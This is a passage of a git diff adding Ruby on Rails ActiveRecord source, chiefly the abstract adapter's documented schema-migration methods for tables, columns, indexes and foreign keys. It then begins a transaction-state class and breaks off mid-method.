+      #  change_table(:suppliers) do |t|
+      #    t.remove :company_id
+      #    t.remove :width, :height
+      #  end
+      #
+      # ====== Remove an index
+      #
+      #  change_table(:suppliers) do |t|
+      #    t.remove_index :company_id
+      #  end
+      #
+      # See also Table for details on all of the various column transformations.
+      def change_table(table_name, options = {})
+        if supports_bulk_alter? && options[:bulk]
+          recorder = ActiveRecord::Migration::CommandRecorder.new(self)
+          yield update_table_definition(table_name, recorder)
+          bulk_change_table(table_name, recorder.commands)
+        else
+          yield update_table_definition(table_name, self)
+        end
+      end
+
+      # Renames a table.
+      #
+      #   rename_table('octopuses', 'octopi')
+      #
+      def rename_table(table_name, new_name)
+        raise NotImplementedError, "rename_table is not implemented"
+      end
+
+      # Drops a table from the database.
+      #
+      # [<tt>:force</tt>]
+      #   Set to +:cascade+ to drop dependent objects as well.
+      #   Defaults to false.
+      # [<tt>:if_exists</tt>]
+      #   Set to +true+ to only drop the table if it exists.
+      #   Defaults to false.
+      #
+      # Although this command ignores most +options+ and the block if one is given,
+      # it can be helpful to provide these in a migration's +change+ method so it can be reverted.
+      # In that case, +options+ and the block will be used by #create_table.
+      def drop_table(table_name, options = {})
+        execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}"
+      end
+
+      # Add a new +type+ column named +column_name+ to +table_name+.
+      #
+      # The +type+ parameter is normally one of the migrations native types,
+      # which is one of the following:
+      # <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>,
+      # <tt>:integer</tt>, <tt>:bigint</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:numeric</tt>,
+      # <tt>:datetime</tt>, <tt>:time</tt>, <tt>:date</tt>,
+      # <tt>:binary</tt>, <tt>:boolean</tt>.
+      #
+      # You may use a type not in this list as long as it is supported by your
+      # database (for example, "polygon" in MySQL), but this will not be database
+      # agnostic and should usually be avoided.
+      #
+      # Available options are (none of these exists by default):
+      # * <tt>:limit</tt> -
+      #   Requests a maximum column length. This is the number of characters for a <tt>:string</tt> column
+      #   and number of bytes for <tt>:text</tt>, <tt>:binary</tt> and <tt>:integer</tt> columns.
+      #   This option is ignored by some backends.
+      # * <tt>:default</tt> -
+      #   The column's default value. Use +nil+ for +NULL+.
+      # * <tt>:null</tt> -
+      #   Allows or disallows +NULL+ values in the column.
+      # * <tt>:precision</tt> -
+      #   Specifies the precision for the <tt>:decimal</tt> and <tt>:numeric</tt> columns.
+      # * <tt>:scale</tt> -
+      #   Specifies the scale for the <tt>:decimal</tt> and <tt>:numeric</tt> columns.
+      #
+      # Note: The precision is the total number of significant digits,
+      # and the scale is the number of digits that can be stored following
+      # the decimal point. For example, the number 123.45 has a precision of 5
+      # and a scale of 2. A decimal with a precision of 5 and a scale of 2 can
+      # range from -999.99 to 999.99.
+      #
+      # Please be aware of different RDBMS implementations behavior with
+      # <tt>:decimal</tt> columns:
+      # * The SQL standard says the default scale should be 0, <tt>:scale</tt> <=
+      #   <tt>:precision</tt>, and makes no comments about the requirements of
+      #   <tt>:precision</tt>.
+      # * MySQL: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..30].
+      #   Default is (10,0).
+      # * PostgreSQL: <tt>:precision</tt> [1..infinity],
+      #   <tt>:scale</tt> [0..infinity]. No default.
+      # * SQLite3: No restrictions on <tt>:precision</tt> and <tt>:scale</tt>,
+      #   but the maximum supported <tt>:precision</tt> is 16. No default.
+      # * Oracle: <tt>:precision</tt> [1..38], <tt>:scale</tt> [-84..127].
+      #   Default is (38,0).
+      # * DB2: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..62].
+      #   Default unknown.
+      # * SqlServer: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
+      #   Default (38,0).
+      #
+      # == Examples
+      #
+      #  add_column(:users, :picture, :binary, limit: 2.megabytes)
+      #  # ALTER TABLE "users" ADD "picture" blob(2097152)
+      #
+      #  add_column(:articles, :status, :string, limit: 20, default: 'draft', null: false)
+      #  # ALTER TABLE "articles" ADD "status" varchar(20) DEFAULT 'draft' NOT NULL
+      #
+      #  add_column(:answers, :bill_gates_money, :decimal, precision: 15, scale: 2)
+      #  # ALTER TABLE "answers" ADD "bill_gates_money" decimal(15,2)
+      #
+      #  add_column(:measurements, :sensor_reading, :decimal, precision: 30, scale: 20)
+      #  # ALTER TABLE "measurements" ADD "sensor_reading" decimal(30,20)
+      #
+      #  # While :scale defaults to zero on most databases, it
+      #  # probably wouldn't hurt to include it.
+      #  add_column(:measurements, :huge_integer, :decimal, precision: 30)
+      #  # ALTER TABLE "measurements" ADD "huge_integer" decimal(30)
+      #
+      #  # Defines a column that stores an array of a type.
+      #  add_column(:users, :skills, :text, array: true)
+      #  # ALTER TABLE "users" ADD "skills" text[]
+      #
+      #  # Defines a column with a database-specific type.
+      #  add_column(:shapes, :triangle, 'polygon')
+      #  # ALTER TABLE "shapes" ADD "triangle" polygon
+      def add_column(table_name, column_name, type, options = {})
+        at = create_alter_table table_name
+        at.add_column(column_name, type, options)
+        execute schema_creation.accept at
+      end
+
+      # Removes the given columns from the table definition.
+      #
+      #   remove_columns(:suppliers, :qualification, :experience)
+      #
+      def remove_columns(table_name, *column_names)
+        raise ArgumentError.new("You must specify at least one column name. Example: remove_columns(:people, :first_name)") if column_names.empty?
+        column_names.each do |column_name|
+          remove_column(table_name, column_name)
+        end
+      end
+
+      # Removes the column from the table definition.
+      #
+      #   remove_column(:suppliers, :qualification)
+      #
+      # The +type+ and +options+ parameters will be ignored if present. It can be helpful
+      # to provide these in a migration's +change+ method so it can be reverted.
+      # In that case, +type+ and +options+ will be used by #add_column.
+      def remove_column(table_name, column_name, type = nil, options = {})
+        execute "ALTER TABLE #{quote_table_name(table_name)} DROP #{quote_column_name(column_name)}"
+      end
+
+      # Changes the column's definition according to the new options.
+      # See TableDefinition#column for details of the options you can use.
+      #
+      #   change_column(:suppliers, :name, :string, limit: 80)
+      #   change_column(:accounts, :description, :text)
+      #
+      def change_column(table_name, column_name, type, options = {})
+        raise NotImplementedError, "change_column is not implemented"
+      end
+
+      # Sets a new default value for a column:
+      #
+      #   change_column_default(:suppliers, :qualification, 'new')
+      #   change_column_default(:accounts, :authorized, 1)
+      #
+      # Setting the default to +nil+ effectively drops the default:
+      #
+      #   change_column_default(:users, :email, nil)
+      #
+      # Passing a hash containing +:from+ and +:to+ will make this change
+      # reversible in migration:
+      #
+      #   change_column_default(:posts, :state, from: nil, to: "draft")
+      #
+      def change_column_default(table_name, column_name, default_or_changes)
+        raise NotImplementedError, "change_column_default is not implemented"
+      end
+
+      # Sets or removes a <tt>NOT NULL</tt> constraint on a column. The +null+ flag
+      # indicates whether the value can be +NULL+. For example
+      #
+      #   change_column_null(:users, :nickname, false)
+      #
+      # says nicknames cannot be +NULL+ (adds the constraint), whereas
+      #
+      #   change_column_null(:users, :nickname, true)
+      #
+      # allows them to be +NULL+ (drops the constraint).
+      #
+      # The method accepts an optional fourth argument to replace existing
+      # <tt>NULL</tt>s with some other value. Use that one when enabling the
+      # constraint if needed, since otherwise those rows would not be valid.
+      #
+      # Please note the fourth argument does not set a column's default.
+      def change_column_null(table_name, column_name, null, default = nil)
+        raise NotImplementedError, "change_column_null is not implemented"
+      end
+
+      # Renames a column.
+      #
+      #   rename_column(:suppliers, :description, :name)
+      #
+      def rename_column(table_name, column_name, new_column_name)
+        raise NotImplementedError, "rename_column is not implemented"
+      end
+
+      # Adds a new index to the table. +column_name+ can be a single Symbol, or
+      # an Array of Symbols.
+      #
+      # The index will be named after the table and the column name(s), unless
+      # you pass <tt>:name</tt> as an option.
+      #
+      # ====== Creating a simple index
+      #
+      #   add_index(:suppliers, :name)
+      #
+      # generates:
+      #
+      #   CREATE INDEX suppliers_name_index ON suppliers(name)
+      #
+      # ====== Creating a unique index
+      #
+      #   add_index(:accounts, [:branch_id, :party_id], unique: true)
+      #
+      # generates:
+      #
+      #   CREATE UNIQUE INDEX accounts_branch_id_party_id_index ON accounts(branch_id, party_id)
+      #
+      # ====== Creating a named index
+      #
+      #   add_index(:accounts, [:branch_id, :party_id], unique: true, name: 'by_branch_party')
+      #
+      # generates:
+      #
+      #  CREATE UNIQUE INDEX by_branch_party ON accounts(branch_id, party_id)
+      #
+      # ====== Creating an index with specific key length
+      #
+      #   add_index(:accounts, :name, name: 'by_name', length: 10)
+      #
+      # generates:
+      #
+      #   CREATE INDEX by_name ON accounts(name(10))
+      #
+      # ====== Creating an index with specific key lengths for multiple keys
+      #
+      #   add_index(:accounts, [:name, :surname], name: 'by_name_surname', length: {name: 10, surname: 15})
+      #
+      # generates:
+      #
+      #   CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
+      #
+      # Note: SQLite doesn't support index length.
+      #
+      # ====== Creating an index with a sort order (desc or asc, asc is the default)
+      #
+      #   add_index(:accounts, [:branch_id, :party_id, :surname], order: {branch_id: :desc, party_id: :asc})
+      #
+      # generates:
+      #
+      #   CREATE INDEX by_branch_desc_party ON accounts(branch_id DESC, party_id ASC, surname)
+      #
+      # Note: MySQL doesn't yet support index order (it accepts the syntax but ignores it).
+      #
+      # ====== Creating a partial index
+      #
+      #   add_index(:accounts, [:branch_id, :party_id], unique: true, where: "active")
+      #
+      # generates:
+      #
+      #   CREATE UNIQUE INDEX index_accounts_on_branch_id_and_party_id ON accounts(branch_id, party_id) WHERE active
+      #
+      # Note: Partial indexes are only supported for PostgreSQL and SQLite 3.8.0+.
+      #
+      # ====== Creating an index with a specific method
+      #
+      #   add_index(:developers, :name, using: 'btree')
+      #
+      # generates:
+      #
+      #   CREATE INDEX index_developers_on_name ON developers USING btree (name) -- PostgreSQL
+      #   CREATE INDEX index_developers_on_name USING btree ON developers (name) -- MySQL
+      #
+      # Note: only supported by PostgreSQL and MySQL
+      #
+      # ====== Creating an index with a specific type
+      #
+      #   add_index(:developers, :name, type: :fulltext)
+      #
+      # generates:
+      #
+      #   CREATE FULLTEXT INDEX index_developers_on_name ON developers (name) -- MySQL
+      #
+      # Note: only supported by MySQL.
+      def add_index(table_name, column_name, options = {})
+        index_name, index_type, index_columns, index_options = add_index_options(table_name, column_name, options)
+        execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{index_columns})#{index_options}"
+      end
+
+      # Removes the given index from the table.
+      #
+      # Removes the index on +branch_id+ in the +accounts+ table if exactly one such index exists.
+      #
+      #   remove_index :accounts, :branch_id
+      #
+      # Removes the index on +branch_id+ in the +accounts+ table if exactly one such index exists.
+      #
+      #   remove_index :accounts, column: :branch_id
+      #
+      # Removes the index on +branch_id+ and +party_id+ in the +accounts+ table if exactly one such index exists.
+      #
+      #   remove_index :accounts, column: [:branch_id, :party_id]
+      #
+      # Removes the index named +by_branch_party+ in the +accounts+ table.
+      #
+      #   remove_index :accounts, name: :by_branch_party
+      #
+      def remove_index(table_name, options = {})
+        index_name = index_name_for_remove(table_name, options)
+        execute "DROP INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)}"
+      end
+
+      # Renames an index.
+      #
+      # Rename the +index_people_on_last_name+ index to +index_users_on_last_name+:
+      #
+      #   rename_index :people, 'index_people_on_last_name', 'index_users_on_last_name'
+      #
+      def rename_index(table_name, old_name, new_name)
+        validate_index_length!(table_name, new_name)
+
+        # this is a naive implementation; some DBs may support this more efficiently (Postgres, for instance)
+        old_index_def = indexes(table_name).detect { |i| i.name == old_name }
+        return unless old_index_def
+        add_index(table_name, old_index_def.columns, name: new_name, unique: old_index_def.unique)
+        remove_index(table_name, name: old_name)
+      end
+
+      def index_name(table_name, options) #:nodoc:
+        if Hash === options
+          if options[:column]
+            "index_#{table_name}_on_#{Array(options[:column]) * '_and_'}"
+          elsif options[:name]
+            options[:name]
+          else
+            raise ArgumentError, "You must specify the index name"
+          end
+        else
+          index_name(table_name, index_name_options(options))
+        end
+      end
+
+      # Verifies the existence of an index with a given name.
+      def index_name_exists?(table_name, index_name, default = nil)
+        unless default.nil?
+          ActiveSupport::Deprecation.warn(<<-MSG.squish)
+            Passing default to #index_name_exists? is deprecated without replacement.
+          MSG
+        end
+        index_name = index_name.to_s
+        indexes(table_name).detect { |i| i.name == index_name }
+      end
+
+      # Adds a reference. The reference column is an integer by default,
+      # the <tt>:type</tt> option can be used to specify a different type.
+      # Optionally adds a +_type+ column, if <tt>:polymorphic</tt> option is provided.
+      # #add_reference and #add_belongs_to are acceptable.
+      #
+      # The +options+ hash can include the following keys:
+      # [<tt>:type</tt>]
+      #   The reference column type. Defaults to +:integer+.
+      # [<tt>:index</tt>]
+      #   Add an appropriate index. Defaults to true.
+      #   See #add_index for usage of this option.
+      # [<tt>:foreign_key</tt>]
+      #   Add an appropriate foreign key constraint. Defaults to false.
+      # [<tt>:polymorphic</tt>]
+      #   Whether an additional +_type+ column should be added. Defaults to false.
+      # [<tt>:null</tt>]
+      #   Whether the column allows nulls. Defaults to true.
+      #
+      # ====== Create a user_id integer column
+      #
+      #   add_reference(:products, :user)
+      #
+      # ====== Create a user_id string column
+      #
+      #   add_reference(:products, :user, type: :string)
+      #
+      # ====== Create supplier_id, supplier_type columns and appropriate index
+      #
+      #   add_reference(:products, :supplier, polymorphic: true, index: true)
+      #
+      # ====== Create a supplier_id column with a unique index
+      #
+      #   add_reference(:products, :supplier, index: { unique: true })
+      #
+      # ====== Create a supplier_id column with a named index
+      #
+      #   add_reference(:products, :supplier, index: { name: "my_supplier_index" })
+      #
+      # ====== Create a supplier_id column and appropriate foreign key
+      #
+      #   add_reference(:products, :supplier, foreign_key: true)
+      #
+      # ====== Create a supplier_id column and a foreign key to the firms table
+      #
+      #   add_reference(:products, :supplier, foreign_key: {to_table: :firms})
+      #
+      def add_reference(table_name, ref_name, **options)
+        ReferenceDefinition.new(ref_name, options).add_to(update_table_definition(table_name, self))
+      end
+      alias :add_belongs_to :add_reference
+
+      # Removes the reference(s). Also removes a +type+ column if one exists.
+      # #remove_reference and #remove_belongs_to are acceptable.
+      #
+      # ====== Remove the reference
+      #
+      #   remove_reference(:products, :user, index: true)
+      #
+      # ====== Remove polymorphic reference
+      #
+      #   remove_reference(:products, :supplier, polymorphic: true)
+      #
+      # ====== Remove the reference with a foreign key
+      #
+      #   remove_reference(:products, :user, index: true, foreign_key: true)
+      #
+      def remove_reference(table_name, ref_name, foreign_key: false, polymorphic: false, **options)
+        if foreign_key
+          reference_name = Base.pluralize_table_names ? ref_name.to_s.pluralize : ref_name
+          if foreign_key.is_a?(Hash)
+            foreign_key_options = foreign_key
+          else
+            foreign_key_options = { to_table: reference_name }
+          end
+          foreign_key_options[:column] ||= "#{ref_name}_id"
+          remove_foreign_key(table_name, **foreign_key_options)
+        end
+
+        remove_column(table_name, "#{ref_name}_id")
+        remove_column(table_name, "#{ref_name}_type") if polymorphic
+      end
+      alias :remove_belongs_to :remove_reference
+
+      # Returns an array of foreign keys for the given table.
+      # The foreign keys are represented as ForeignKeyDefinition objects.
+      def foreign_keys(table_name)
+        raise NotImplementedError, "foreign_keys is not implemented"
+      end
+
+      # Adds a new foreign key. +from_table+ is the table with the key column,
+      # +to_table+ contains the referenced primary key.
+      #
+      # The foreign key will be named after the following pattern: <tt>fk_rails_<identifier></tt>.
+      # +identifier+ is a 10 character long string which is deterministically generated from the
+      # +from_table+ and +column+. A custom name can be specified with the <tt>:name</tt> option.
+      #
+      # ====== Creating a simple foreign key
+      #
+      #   add_foreign_key :articles, :authors
+      #
+      # generates:
+      #
+      #   ALTER TABLE "articles" ADD CONSTRAINT fk_rails_e74ce85cbc FOREIGN KEY ("author_id") REFERENCES "authors" ("id")
+      #
+      # ====== Creating a foreign key on a specific column
+      #
+      #   add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
+      #
+      # generates:
+      #
+      #   ALTER TABLE "articles" ADD CONSTRAINT fk_rails_58ca3d3a82 FOREIGN KEY ("author_id") REFERENCES "users" ("lng_id")
+      #
+      # ====== Creating a cascading foreign key
+      #
+      #   add_foreign_key :articles, :authors, on_delete: :cascade
+      #
+      # generates:
+      #
+      #   ALTER TABLE "articles" ADD CONSTRAINT fk_rails_e74ce85cbc FOREIGN KEY ("author_id") REFERENCES "authors" ("id") ON DELETE CASCADE
+      #
+      # The +options+ hash can include the following keys:
+      # [<tt>:column</tt>]
+      #   The foreign key column name on +from_table+. Defaults to <tt>to_table.singularize + "_id"</tt>
+      # [<tt>:primary_key</tt>]
+      #   The primary key column name on +to_table+. Defaults to +id+.
+      # [<tt>:name</tt>]
+      #   The constraint name. Defaults to <tt>fk_rails_<identifier></tt>.
+      # [<tt>:on_delete</tt>]
+      #   Action that happens <tt>ON DELETE</tt>. Valid values are +:nullify+, +:cascade+ and +:restrict+
+      # [<tt>:on_update</tt>]
+      #   Action that happens <tt>ON UPDATE</tt>. Valid values are +:nullify+, +:cascade+ and +:restrict+
+      def add_foreign_key(from_table, to_table, options = {})
+        return unless supports_foreign_keys?
+
+        options = foreign_key_options(from_table, to_table, options)
+        at = create_alter_table from_table
+        at.add_foreign_key to_table, options
+
+        execute schema_creation.accept(at)
+      end
+
+      # Removes the given foreign key from the table. Any option parameters provided
+      # will be used to re-add the foreign key in case of a migration rollback.
+      # It is recommended that you provide any options used when creating the foreign
+      # key so that the migration can be reverted properly.
+      #
+      # Removes the foreign key on +accounts.branch_id+.
+      #
+      #   remove_foreign_key :accounts, :branches
+      #
+      # Removes the foreign key on +accounts.owner_id+.
+      #
+      #   remove_foreign_key :accounts, column: :owner_id
+      #
+      # Removes the foreign key named +special_fk_name+ on the +accounts+ table.
+      #
+      #   remove_foreign_key :accounts, name: :special_fk_name
+      #
+      # The +options+ hash accepts the same keys as SchemaStatements#add_foreign_key.
+      def remove_foreign_key(from_table, options_or_to_table = {})
+        return unless supports_foreign_keys?
+
+        fk_name_to_delete = foreign_key_for!(from_table, options_or_to_table).name
+
+        at = create_alter_table from_table
+        at.drop_foreign_key fk_name_to_delete
+
+        execute schema_creation.accept(at)
+      end
+
+      # Checks to see if a foreign key exists on a table for a given foreign key definition.
+      #
+      #   # Checks to see if a foreign key exists.
+      #   foreign_key_exists?(:accounts, :branches)
+      #
+      #   # Checks to see if a foreign key on a specified column exists.
+      #   foreign_key_exists?(:accounts, column: :owner_id)
+      #
+      #   # Checks to see if a foreign key with a custom name exists.
+      #   foreign_key_exists?(:accounts, name: "special_fk_name")
+      #
+      def foreign_key_exists?(from_table, options_or_to_table = {})
+        foreign_key_for(from_table, options_or_to_table).present?
+      end
+
+      def foreign_key_column_for(table_name) # :nodoc:
+        prefix = Base.table_name_prefix
+        suffix = Base.table_name_suffix
+        name = table_name.to_s =~ /#{prefix}(.+)#{suffix}/ ? $1 : table_name.to_s
+        "#{name.singularize}_id"
+      end
+
+      def foreign_key_options(from_table, to_table, options) # :nodoc:
+        options = options.dup
+        options[:column] ||= foreign_key_column_for(to_table)
+        options[:name]   ||= foreign_key_name(from_table, options)
+        options
+      end
+
+      def dump_schema_information #:nodoc:
+        versions = ActiveRecord::SchemaMigration.all_versions
+        insert_versions_sql(versions) if versions.any?
+      end
+
+      def initialize_schema_migrations_table # :nodoc:
+        ActiveRecord::SchemaMigration.create_table
+      end
+      deprecate :initialize_schema_migrations_table
+
+      def initialize_internal_metadata_table # :nodoc:
+        ActiveRecord::InternalMetadata.create_table
+      end
+      deprecate :initialize_internal_metadata_table
+
+      def internal_string_options_for_primary_key # :nodoc:
+        { primary_key: true }
+      end
+
+      def assume_migrated_upto_version(version, migrations_paths)
+        migrations_paths = Array(migrations_paths)
+        version = version.to_i
+        sm_table = quote_table_name(ActiveRecord::SchemaMigration.table_name)
+
+        migrated = ActiveRecord::SchemaMigration.all_versions.map(&:to_i)
+        versions = ActiveRecord::Migrator.migration_files(migrations_paths).map do |file|
+          ActiveRecord::Migrator.parse_migration_filename(file).first.to_i
+        end
+
+        unless migrated.include?(version)
+          execute "INSERT INTO #{sm_table} (version) VALUES (#{quote(version)})"
+        end
+
+        inserting = (versions - migrated).select { |v| v < version }
+        if inserting.any?
+          if (duplicate = inserting.detect { |v| inserting.count(v) > 1 })
+            raise "Duplicate migration #{duplicate}. Please renumber your migrations to resolve the conflict."
+          end
+          if supports_multi_insert?
+            execute insert_versions_sql(inserting)
+          else
+            inserting.each do |v|
+              execute insert_versions_sql(v)
+            end
+          end
+        end
+      end
+
+      def type_to_sql(type, limit: nil, precision: nil, scale: nil, **) # :nodoc:
+        type = type.to_sym if type
+        if native = native_database_types[type]
+          column_type_sql = (native.is_a?(Hash) ? native[:name] : native).dup
+
+          if type == :decimal # ignore limit, use precision and scale
+            scale ||= native[:scale]
+
+            if precision ||= native[:precision]
+              if scale
+                column_type_sql << "(#{precision},#{scale})"
+              else
+                column_type_sql << "(#{precision})"
+              end
+            elsif scale
+              raise ArgumentError, "Error adding decimal column: precision cannot be empty if scale is specified"
+            end
+
+          elsif [:datetime, :timestamp, :time, :interval].include?(type) && precision ||= native[:precision]
+            if (0..6) === precision
+              column_type_sql << "(#{precision})"
+            else
+              raise(ActiveRecordError, "No #{native[:name]} type has precision of #{precision}. The allowed range of precision is from 0 to 6")
+            end
+          elsif (type != :primary_key) && (limit ||= native.is_a?(Hash) && native[:limit])
+            column_type_sql << "(#{limit})"
+          end
+
+          column_type_sql
+        else
+          type.to_s
+        end
+      end
+
+      # Given a set of columns and an ORDER BY clause, returns the columns for a SELECT DISTINCT.
+      # PostgreSQL, MySQL, and Oracle override this for custom DISTINCT syntax - they
+      # require the order columns appear in the SELECT.
+      #
+      #   columns_for_distinct("posts.id", ["posts.created_at desc"])
+      #
+      def columns_for_distinct(columns, orders) # :nodoc:
+        columns
+      end
+
+      # Adds timestamps (+created_at+ and +updated_at+) columns to +table_name+.
+      # Additional options (like +:null+) are forwarded to #add_column.
+      #
+      #   add_timestamps(:suppliers, null: true)
+      #
+      def add_timestamps(table_name, options = {})
+        options[:null] = false if options[:null].nil?
+
+        add_column table_name, :created_at, :datetime, options
+        add_column table_name, :updated_at, :datetime, options
+      end
+
+      # Removes the timestamp columns (+created_at+ and +updated_at+) from the table definition.
+      #
+      #  remove_timestamps(:suppliers)
+      #
+      def remove_timestamps(table_name, options = {})
+        remove_column table_name, :updated_at
+        remove_column table_name, :created_at
+      end
+
+      def update_table_definition(table_name, base) #:nodoc:
+        Table.new(table_name, base)
+      end
+
+      def add_index_options(table_name, column_name, comment: nil, **options) # :nodoc:
+        column_names = index_column_names(column_name)
+
+        options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type)
+
+        index_type = options[:type].to_s if options.key?(:type)
+        index_type ||= options[:unique] ? "UNIQUE" : ""
+        index_name = options[:name].to_s if options.key?(:name)
+        index_name ||= index_name(table_name, column_names)
+
+        if options.key?(:algorithm)
+          algorithm = index_algorithms.fetch(options[:algorithm]) {
+            raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
+          }
+        end
+
+        using = "USING #{options[:using]}" if options[:using].present?
+
+        if supports_partial_index?
+          index_options = options[:where] ? " WHERE #{options[:where]}" : ""
+        end
+
+        validate_index_length!(table_name, index_name, options.fetch(:internal, false))
+
+        if data_source_exists?(table_name) && index_name_exists?(table_name, index_name)
+          raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' already exists"
+        end
+        index_columns = quoted_columns_for_index(column_names, options).join(", ")
+
+        [index_name, index_type, index_columns, index_options, algorithm, using, comment]
+      end
+
+      def options_include_default?(options)
+        options.include?(:default) && !(options[:null] == false && options[:default].nil?)
+      end
+
+      # Changes the comment for a table or removes it if +nil+.
+      def change_table_comment(table_name, comment)
+        raise NotImplementedError, "#{self.class} does not support changing table comments"
+      end
+
+      # Changes the comment for a column or removes it if +nil+.
+      def change_column_comment(table_name, column_name, comment) #:nodoc:
+        raise NotImplementedError, "#{self.class} does not support changing column comments"
+      end
+
+      private
+        def column_options_keys
+          [:limit, :precision, :scale, :default, :null, :collation, :comment]
+        end
+
+        def add_index_sort_order(quoted_columns, **options)
+          if order = options[:order]
+            case order
+            when Hash
+              order = order.symbolize_keys
+              quoted_columns.each { |name, column| column << " #{order[name].upcase}" if order[name].present? }
+            when String
+              quoted_columns.each { |name, column| column << " #{order.upcase}" if order.present? }
+            end
+          end
+
+          quoted_columns
+        end
+
+        # Overridden by the MySQL adapter for supporting index lengths
+        def add_options_for_index_columns(quoted_columns, **options)
+          if supports_index_sort_order?
+            quoted_columns = add_index_sort_order(quoted_columns, options)
+          end
+
+          quoted_columns
+        end
+
+        def quoted_columns_for_index(column_names, **options)
+          return [column_names] if column_names.is_a?(String)
+
+          quoted_columns = Hash[column_names.map { |name| [name.to_sym, quote_column_name(name).dup] }]
+          add_options_for_index_columns(quoted_columns, options).values
+        end
+
+        def index_name_for_remove(table_name, options = {})
+          return options[:name] if can_remove_index_by_name?(options)
+
+          checks = []
+
+          if options.is_a?(Hash)
+            checks << lambda { |i| i.name == options[:name].to_s } if options.key?(:name)
+            column_names = index_column_names(options[:column])
+          else
+            column_names = index_column_names(options)
+          end
+
+          if column_names.present?
+            checks << lambda { |i| index_name(table_name, i.columns) == index_name(table_name, column_names) }
+          end
+
+          raise ArgumentError, "No name or columns specified" if checks.none?
+
+          matching_indexes = indexes(table_name).select { |i| checks.all? { |check| check[i] } }
+
+          if matching_indexes.count > 1
+            raise ArgumentError, "Multiple indexes found on #{table_name} columns #{column_names}. " \
+                                 "Specify an index name from #{matching_indexes.map(&:name).join(', ')}"
+          elsif matching_indexes.none?
+            raise ArgumentError, "No indexes found on #{table_name} with the options provided."
+          else
+            matching_indexes.first.name
+          end
+        end
+
+        def rename_table_indexes(table_name, new_name)
+          indexes(new_name).each do |index|
+            generated_index_name = index_name(table_name, column: index.columns)
+            if generated_index_name == index.name
+              rename_index new_name, generated_index_name, index_name(new_name, column: index.columns)
+            end
+          end
+        end
+
+        def rename_column_indexes(table_name, column_name, new_column_name)
+          column_name, new_column_name = column_name.to_s, new_column_name.to_s
+          indexes(table_name).each do |index|
+            next unless index.columns.include?(new_column_name)
+            old_columns = index.columns.dup
+            old_columns[old_columns.index(new_column_name)] = column_name
+            generated_index_name = index_name(table_name, column: old_columns)
+            if generated_index_name == index.name
+              rename_index table_name, generated_index_name, index_name(table_name, column: index.columns)
+            end
+          end
+        end
+
+        def schema_creation
+          SchemaCreation.new(self)
+        end
+
+        def create_table_definition(*args)
+          TableDefinition.new(*args)
+        end
+
+        def create_alter_table(name)
+          AlterTable.new create_table_definition(name)
+        end
+
+        def fetch_type_metadata(sql_type)
+          cast_type = lookup_cast_type(sql_type)
+          SqlTypeMetadata.new(
+            sql_type: sql_type,
+            type: cast_type.type,
+            limit: cast_type.limit,
+            precision: cast_type.precision,
+            scale: cast_type.scale,
+          )
+        end
+
+        def index_column_names(column_names)
+          if column_names.is_a?(String) && /\W/.match?(column_names)
+            column_names
+          else
+            Array(column_names)
+          end
+        end
+
+        def index_name_options(column_names)
+          if column_names.is_a?(String) && /\W/.match?(column_names)
+            column_names = column_names.scan(/\w+/).join("_")
+          end
+
+          { column: column_names }
+        end
+
+        def foreign_key_name(table_name, options)
+          options.fetch(:name) do
+            identifier = "#{table_name}_#{options.fetch(:column)}_fk"
+            hashed_identifier = Digest::SHA256.hexdigest(identifier).first(10)
+
+            "fk_rails_#{hashed_identifier}"
+          end
+        end
+
+        def foreign_key_for(from_table, options_or_to_table = {})
+          return unless supports_foreign_keys?
+          foreign_keys(from_table).detect { |fk| fk.defined_for? options_or_to_table }
+        end
+
+        def foreign_key_for!(from_table, options_or_to_table = {})
+          foreign_key_for(from_table, options_or_to_table) || \
+            raise(ArgumentError, "Table '#{from_table}' has no foreign key for #{options_or_to_table}")
+        end
+
+        def extract_foreign_key_action(specifier)
+          case specifier
+          when "CASCADE"; :cascade
+          when "SET NULL"; :nullify
+          when "RESTRICT"; :restrict
+          end
+        end
+
+        def validate_index_length!(table_name, new_name, internal = false)
+          max_index_length = internal ? index_name_length : allowed_index_name_length
+
+          if new_name.length > max_index_length
+            raise ArgumentError, "Index name '#{new_name}' on table '#{table_name}' is too long; the limit is #{allowed_index_name_length} characters"
+          end
+        end
+
+        def extract_new_default_value(default_or_changes)
+          if default_or_changes.is_a?(Hash) && default_or_changes.has_key?(:from) && default_or_changes.has_key?(:to)
+            default_or_changes[:to]
+          else
+            default_or_changes
+          end
+        end
+
+        def can_remove_index_by_name?(options)
+          options.is_a?(Hash) && options.key?(:name) && options.except(:name, :algorithm).empty?
+        end
+
+        def insert_versions_sql(versions)
+          sm_table = quote_table_name(ActiveRecord::SchemaMigration.table_name)
+
+          if versions.is_a?(Array)
+            sql = "INSERT INTO #{sm_table} (version) VALUES\n".dup
+            sql << versions.map { |v| "(#{quote(v)})" }.join(",\n")
+            sql << ";\n\n"
+            sql
+          else
+            "INSERT INTO #{sm_table} (version) VALUES (#{quote(versions)});"
+          end
+        end
+
+        def data_source_sql(name = nil, type: nil)
+          raise NotImplementedError
+        end
+
+        def quoted_scope(name = nil, type: nil)
+          raise NotImplementedError
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
new file mode 100644
index 0000000000..147e16e9fa
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
@@ -0,0 +1,274 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    class TransactionState
+      def initialize(state = nil)
+        @state = state
+        @children = []
+      end
+
+      def add_child(state)
+        @children << state
+      end
+
+      def finalized?
+        @state
+      end
+
+      def committed?
+        @state == :committed
+      end
+
+      def rolledback?
+        @state == :rolledback
+      end
+
+      def fully_completed?
+        completed?
+      end
+
+      def completed?
+        committed? || rolledback?
